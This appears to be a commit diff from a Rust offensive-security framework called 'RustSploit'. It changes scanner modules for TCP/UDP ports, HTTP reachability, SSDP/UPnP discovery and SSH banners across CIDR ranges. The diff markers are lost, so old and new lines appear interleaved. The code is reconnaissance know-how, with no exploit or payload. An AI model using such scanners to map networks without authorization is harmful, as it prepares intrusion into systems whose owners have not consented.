} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
}
}
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
/// === UDP Port Scanner (Stateless "Fire-and-Forget") ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
// We bind to a random UDP port on localhost
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
@@ -439,14 +174,14 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
};
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10";
let payload = b"\x00\x00\x10\x10"; // Random small packet
let _ = sock.send_to(payload, target).await;
// Set a timeout: if port is closed, we should get "Connection refused"
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response!
Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable
Err(_) => Some("FILTERED".into()), // No response
}
}
@@ -454,6 +189,7 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
// Prefer IPv4, else fallback to first address
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
@@ -465,7 +201,7 @@ fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message.cyan().bold());
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
@@ -475,13 +211,10 @@ fn prompt(message: &str) -> Result<String> {
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
_ => println!("Please enter 'y' or 'n'."),
}
}
}
@@ -489,105 +222,26 @@ fn prompt_bool(message: &str) -> Result<bool> {
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("{}", "Please enter a valid number.".yellow());
println!("Please enter a valid number.");
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
/// === Progress Bar Struct ===
struct ProgressBar {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
impl ProgressBar {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
ProgressBar { total, current: 0 }
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
fn increment(&mut self) {
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
if self.current % 1000 == 0 || self.current == self.total {
println!("[*] Progress: {}/{}", self.current, self.total);
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
io::stdout().flush().unwrap();
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
+11 -198
View File
@@ -1,202 +1,15 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use std::fs::File;
use std::io::{self, Write};
use std::time::{Duration, Instant};
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ HTTP Connectivity Scanner ║".cyan());
println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
use anyhow::{Result, Context};
use reqwest;
/// A simple scanner that tries an HTTP GET and prints the response code
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let timeout_secs = prompt_timeout()?;
let check_http = prompt_bool("Check HTTP (port 80)?", true)?;
let check_https = prompt_bool("Check HTTPS (port 443)?", true)?;
let verbose = prompt_bool("Verbose output?", false)?;
let save_results = prompt_bool("Save results to file?", false)?;
if !check_http && !check_https {
return Err(anyhow!("At least one protocol must be selected"));
}
let client = Client::builder()
.timeout(Duration::from_secs(timeout_secs))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let mut results = Vec::new();
let start = Instant::now();
println!();
println!("{}", "[*] Starting scan...".cyan().bold());
// Check HTTP
if check_http {
let url = if target.contains("://") {
target.to_string()
} else {
format!("http://{}", target)
};
if verbose {
println!("{}", format!("[*] Checking {}...", url).dimmed());
}
match client.get(&url).send().await {
Ok(resp) => {
let status = resp.status();
let status_str = status.to_string();
let content_type = resp.headers()
.get("content-type")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
let server = resp.headers()
.get("server")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
if status.is_success() {
println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})",
url, status_str, server, content_type).green());
} else if status.is_redirection() {
let location = resp.headers()
.get("location")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow());
} else {
println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red());
}
results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server));
}
Err(e) => {
println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red());
results.push(format!("HTTP {} -> Error: {}", url, e));
}
}
}
// Check HTTPS
if check_https {
let url = if target.contains("://") {
target.replace("http://", "https://")
} else {
format!("https://{}", target)
};
if verbose {
println!("{}", format!("[*] Checking {}...", url).dimmed());
}
match client.get(&url).send().await {
Ok(resp) => {
let status = resp.status();
let status_str = status.to_string();
let server = resp.headers()
.get("server")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
let content_type = resp.headers()
.get("content-type")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
if status.is_success() {
println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})",
url, status_str, server, content_type).green());
} else if status.is_redirection() {
let location = resp.headers()
.get("location")
.map(|v| v.to_str().unwrap_or("unknown"))
.unwrap_or("unknown");
println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow());
} else {
println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red());
}
results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server));
}
Err(e) => {
println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red());
results.push(format!("HTTPS {} -> Error: {}", url, e));
}
}
}
let elapsed = start.elapsed();
// Print summary
println!();
println!("{}", "=== Scan Summary ===".bold());
println!(" Target: {}", target);
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
println!(" Checks: {}", results.len());
// Save results
if save_results && !results.is_empty() {
let filename = prompt_with_default("Output filename", "http_scan_results.txt")?;
let mut file = File::create(&filename).context("Failed to create output file")?;
writeln!(file, "HTTP Connectivity Scan Results")?;
writeln!(file, "Target: {}", target)?;
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?;
writeln!(file)?;
for result in &results {
writeln!(file, "{}", result)?;
}
println!("{}", format!("[+] Results saved to '{}'", filename).green());
}
println!("[*] Running sample_scanner on: {}", target);
let url = format!("http://{}", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?;
println!("[*] Status code: {}", resp.status());
Ok(())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{}", format!("{} [{}]: ", message, hint).cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_timeout() -> Result<u64> {
print!("{}", "Timeout in seconds [10]: ".cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(10)
} else {
trimmed.parse().map_err(|_| anyhow!("Invalid timeout"))
}
}
+33 -335
View File
@@ -1,194 +1,46 @@
use anyhow::{Context, Result};
use colored::*;
use anyhow::{Result};
use regex::Regex;
use std::collections::HashMap;
use std::fs::File;
use std::io::Write;
use std::net::SocketAddr;
use std::time::Instant;
use tokio::net::UdpSocket;
use tokio::time::{timeout as tokio_timeout, Duration};
/// SSDP Search Target types
#[derive(Clone, Debug)]
enum SearchTarget {
RootDevice,
All,
Custom(String),
}
impl SearchTarget {
fn st_header(&self) -> &str {
match self {
SearchTarget::RootDevice => "upnp:rootdevice",
SearchTarget::All => "ssdp:all",
SearchTarget::Custom(st) => st,
}
}
}
fn display_banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSDP M-SEARCH Scanner ║".cyan());
println!("{}", "║ Discovers UPnP devices via SSDP protocol ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
use tokio::time::{timeout, Duration};
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port = prompt_port().unwrap_or(1900);
let timeout_secs = prompt_timeout().unwrap_or(3);
let retries = prompt_retries().unwrap_or(1);
let verbose = prompt_verbose().unwrap_or(false);
let save_results = prompt_save_results().unwrap_or(false);
let target = clean_ipv6_brackets(target);
// Validate target format
let _ = normalize_target(&target, port)
.with_context(|| format!("Failed to normalize target '{}'", target))?;
// Determine search targets
let search_targets = prompt_search_targets()?;
let addr = normalize_target(&target, port)?;
println!();
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
let mut found_any = false;
let mut results = Vec::new();
let start_time = Instant::now();
for (idx, st) in search_targets.iter().enumerate() {
if search_targets.len() > 1 {
println!(
"{}",
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
.cyan()
);
}
for attempt in 1..=retries {
if retries > 1 {
println!(" [*] Attempt {}/{}", attempt, retries);
}
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
Ok(Some(response)) => {
found_any = true;
let result = parse_ssdp_response(&response, &target, port, st.st_header());
if let Some(r) = result {
results.push(r);
}
break; // Success, no need to retry
}
Ok(None) => {
if verbose {
println!(" {} No response received", "[-]".dimmed());
}
}
Err(e) => {
if verbose {
eprintln!(" {} Error: {}", "[!]".yellow(), e);
}
}
}
// Small delay between retries
if attempt < retries {
tokio::time::sleep(Duration::from_millis(500)).await;
}
}
}
let elapsed = start_time.elapsed();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Target: {}:{}", target, port);
println!(" Search types: {}", search_targets.len());
println!(" Retries: {}", retries);
println!(" Devices found: {}", if found_any {
results.len().to_string().green().to_string()
} else {
"0".red().to_string()
});
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
if !found_any {
println!();
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
}
// Save results if requested
if save_results && !results.is_empty() {
let filename = format!("ssdp_scan_{}.txt", target.replace([':', '.', '[', ']'], "_"));
if let Ok(mut file) = File::create(&filename) {
writeln!(file, "SSDP M-SEARCH Scan Results").ok();
writeln!(file, "Target: {}:{}", target, port).ok();
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64()).ok();
writeln!(file).ok();
for result in &results {
writeln!(file, "{}", result).ok();
}
println!("{}", format!("[+] Results saved to '{}'", filename).green());
}
}
Ok(())
}
async fn send_ssdp_request(
target: &str,
port: u16,
st: &SearchTarget,
timeout: Duration,
verbose: bool,
) -> Result<Option<String>> {
let local_bind: SocketAddr = "0.0.0.0:0".parse()
.context("Failed to parse local bind address")?;
let socket = UdpSocket::bind(local_bind).await
.context("Failed to bind UDP socket")?;
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
socket.connect(&remote_addr).await
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: {}\r\n\
ST: {}\r\n\
USER-AGENT: RustSploit/1.0\r\n\r\n",
target,
port,
timeout.as_secs().max(1),
st.st_header()
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target, port
);
if verbose {
println!(" [*] Sending request:\n{}", request.dimmed());
}
socket.send(request.as_bytes()).await?;
socket.send(request.as_bytes()).await
.context("Failed to send SSDP request")?;
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
let mut buf = vec![0u8; 2048];
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]).to_string();
Ok(Some(response))
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, &target, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
}
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
Err(_) => Ok(None), // Timeout
}
Ok(())
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
@@ -215,10 +67,9 @@ fn clean_ipv6_brackets(ip: &str) -> String {
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
println!("[*] Enter custom port (default 1900): ");
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
if let Ok(_) = std::io::stdin().read_line(&mut input) {
let input = input.trim();
if input.is_empty() {
return None;
@@ -230,135 +81,11 @@ fn prompt_port() -> Option<u16> {
None
}
/// Ask user for timeout in seconds
fn prompt_timeout() -> Option<u64> {
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(t) = input.parse::<u64>() {
if t > 0 && t <= 60 {
return Some(t);
}
}
}
None
}
/// Ask user for number of retries
fn prompt_retries() -> Option<u32> {
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(r) = input.parse::<u32>() {
if r > 0 && r <= 10 {
return Some(r);
}
}
}
None
}
/// Ask user for verbose mode
fn prompt_verbose() -> Option<bool> {
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user to save results
fn prompt_save_results() -> Option<bool> {
print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_ok() {
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user for search targets
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
let mut targets = Vec::new();
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
println!(" 1. upnp:rootdevice (default)");
println!(" 2. ssdp:all");
println!(" 3. Custom ST");
println!(" 4. All of the above");
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
std::io::stdin().read_line(&mut input).ok();
match input.trim() {
"1" | "" => {
targets.push(SearchTarget::RootDevice);
}
"2" => {
targets.push(SearchTarget::All);
}
"3" => {
print!("{}", "Enter custom ST: ".cyan().bold());
std::io::stdout().flush().ok();
let mut st_input = String::new();
std::io::stdin().read_line(&mut st_input).ok();
let st = st_input.trim().to_string();
if !st.is_empty() {
targets.push(SearchTarget::Custom(st));
} else {
targets.push(SearchTarget::RootDevice);
}
}
"4" => {
targets.push(SearchTarget::RootDevice);
targets.push(SearchTarget::All);
}
_ => {
targets.push(SearchTarget::RootDevice);
}
}
if targets.is_empty() {
targets.push(SearchTarget::RootDevice);
}
Ok(targets)
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option<String> {
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
("st", r"(?i)ST:\s*(.*?)\r\n"),
("nt", r"(?i)NT:\s*(.*?)\r\n"),
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
@@ -366,48 +93,19 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) ->
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
let value = caps.get(1)
.map(|m| m.as_str().trim())
.unwrap_or("")
.to_string();
results.insert(key, value);
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
} else {
results.insert(key, String::new());
results.insert(key, String::from(""));
}
}
}
// Check HTTP status
let status_line = response.lines().next().unwrap_or("");
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
if status_ok {
let st_value = results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()).clone();
let server = results.get("server").unwrap_or(&String::new()).clone();
let location = results.get("location").unwrap_or(&String::new()).clone();
let usn = results.get("usn").unwrap_or(&String::new()).clone();
let result_line = format!(
"{}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
target_ip, port, st_value, server, location, usn
);
println!("{}", format!("[+] {}", result_line).green());
// Show additional headers if present
if let Some(cache) = results.get("cache-control") {
if !cache.is_empty() {
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
}
}
Some(result_line)
} else {
println!(
"{}",
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
.yellow()
);
None
}
println!(
"[+] {}:{} | {} | {} | {}",
target_ip,
port,
results.get("server").unwrap_or(&"".to_string()),
results.get("location").unwrap_or(&"".to_string()),
results.get("usn").unwrap_or(&"".to_string())
);
}
-441
View File
@@ -1,441 +0,0 @@
//! SSH Service Scanner Module
//!
//! Based on SSHPWN framework - scans for SSH services and grabs banners.
//! Supports IPv4/IPv6, CIDR ranges, and concurrent scanning.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Read, Write},
net::{SocketAddr, TcpStream, ToSocketAddrs},
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 5;
const DEFAULT_THREADS: usize = 50;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH Service Scanner ║".cyan());
println!("{}", "║ Scan networks for SSH services and grab banners ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Features: ║".cyan());
println!("{}", "║ - CIDR range support ║".cyan());
println!("{}", "║ - IPv4/IPv6 support ║".cyan());
println!("{}", "║ - Banner grabbing ║".cyan());
println!("{}", "║ - Concurrent scanning ║".cyan());
println!("{}", "║ - Results export ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Statistics tracking
struct Statistics {
total_scanned: AtomicU64,
ssh_found: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_scanned: AtomicU64::new(0),
ssh_found: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_scan(&self, found_ssh: bool, error: bool) {
self.total_scanned.fetch_add(1, Ordering::Relaxed);
if found_ssh {
self.ssh_found.fetch_add(1, Ordering::Relaxed);
}
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let scanned = self.total_scanned.load(Ordering::Relaxed);
let found = self.ssh_found.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { scanned as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} scanned | {} SSH | {} errors | {:.1}/s ",
"[Progress]".cyan(),
scanned.to_string().bold(),
found.to_string().green(),
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_summary(&self) {
println!();
println!("{}", "=== Scan Summary ===".cyan().bold());
println!("Total scanned: {}", self.total_scanned.load(Ordering::Relaxed));
println!("SSH services found: {}", self.ssh_found.load(Ordering::Relaxed).to_string().green());
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// SSH scan result
#[derive(Clone, Debug)]
pub struct SshScanResult {
pub host: String,
pub port: u16,
pub banner: String,
}
/// Grab SSH banner from a host
fn grab_ssh_banner(host: &str, port: u16, timeout_secs: u64) -> Option<String> {
// Build address
let addr_str = if host.contains(':') && !host.starts_with('[') {
format!("[{}]:{}", host, port)
} else {
format!("{}:{}", host, port)
};
// Resolve and connect
let addrs: Vec<SocketAddr> = match addr_str.to_socket_addrs() {
Ok(a) => a.collect(),
Err(_) => return None,
};
if addrs.is_empty() {
return None;
}
let timeout = Duration::from_secs(timeout_secs);
for addr in addrs {
if let Ok(stream) = TcpStream::connect_timeout(&addr, timeout) {
let _ = stream.set_read_timeout(Some(timeout));
let _ = stream.set_write_timeout(Some(timeout));
let mut stream = stream;
let mut buffer = [0u8; 256];
match stream.read(&mut buffer) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buffer[..n])
.trim()
.to_string();
if banner.starts_with("SSH-") {
return Some(banner);
}
}
_ => {}
}
}
}
None
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load targets from file
fn load_targets_from_file(path: &str, port: u16) -> Result<Vec<(String, u16)>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let mut targets = Vec::new();
for line in reader.lines() {
let line = line?;
let line = line.trim();
if line.is_empty() || line.starts_with('#') {
continue;
}
// Check for port override (host:port)
if let Some((host, port_str)) = line.rsplit_once(':') {
if let Ok(p) = port_str.parse::<u16>() {
targets.push((host.to_string(), p));
continue;
}
}
targets.push((line.to_string(), port));
}
Ok(targets)
}
/// Main scan function
pub async fn scan_ssh(
targets: Vec<(String, u16)>,
threads: usize,
timeout_secs: u64,
) -> Vec<SshScanResult> {
let total = targets.len();
println!("{}", format!("[*] Scanning {} targets...", total).cyan());
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Scan tasks
let mut handles = Vec::new();
for (host, port) in targets {
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let handle = tokio::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let host_clone = host.clone();
let result = spawn_blocking(move || {
grab_ssh_banner(&host_clone, port, timeout_secs)
}).await;
match result {
Ok(Some(banner)) => {
stats.record_scan(true, false);
let result = SshScanResult {
host: host.clone(),
port,
banner: banner.clone(),
};
println!("\r{}", format!("[+] {}:{} - {}", host, port, banner).green());
let _ = std::io::stdout().flush();
results.lock().await.push(result);
}
Ok(None) => {
stats.record_scan(false, false);
}
Err(_) => {
stats.record_scan(false, true);
}
}
});
handles.push(handle);
}
// Wait for all tasks
for handle in handles {
let _ = handle.await;
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SshScanResult], path: &str) -> Result<()> {
let mut file = File::create(path)?;
writeln!(file, "# SSH Scan Results")?;
writeln!(file, "# Generated by RustSploit SSH Scanner")?;
writeln!(file, "# Total: {} SSH services found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} - {}", result.host, result.port, result.banner)?;
}
println!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let mut targets = Vec::new();
// Parse initial target
if !target.trim().is_empty() {
println!("{}", format!("[*] Initial target: {}", target).cyan());
}
// Get port
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
// Get additional targets
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
// Add initial target
if !target.trim().is_empty() {
targets.extend(parse_targets(target, port));
}
// Add additional targets
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if prompt_yes_no("Load targets from file?", false)? {
